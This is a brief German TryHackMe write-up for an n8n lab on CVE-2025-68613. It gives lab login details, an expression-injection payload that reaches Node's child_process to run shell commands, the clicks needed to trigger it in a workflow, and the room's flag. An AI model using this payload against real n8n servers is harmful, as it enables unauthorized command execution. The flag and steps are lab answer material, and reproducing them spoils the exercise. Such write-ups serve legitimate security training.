TryHackMe-Raum: n8n: CVE-2025-68613

Spieler: J4ck3LSyN

Host: ...

Benutzername: [email protected]

Passwort: Try12345!

Vorgehensweise

Payload: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} Payload 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. Greife auf die Attackbox zu.
2. Start New
3. Add First Step, lasse die rechte Seitenleiste offen und füge Manual Trigger hinzu.
4. Danach füge eine Set Fields-Option hinzu.
5. Füge einen Feldnamen pwn und den Payload hinzu.
6. Ausführen & pwn.
7. Ändere den Payload so, dass er cat flag.txt ausführt - Flag: THM{n8n_exposed_workflow}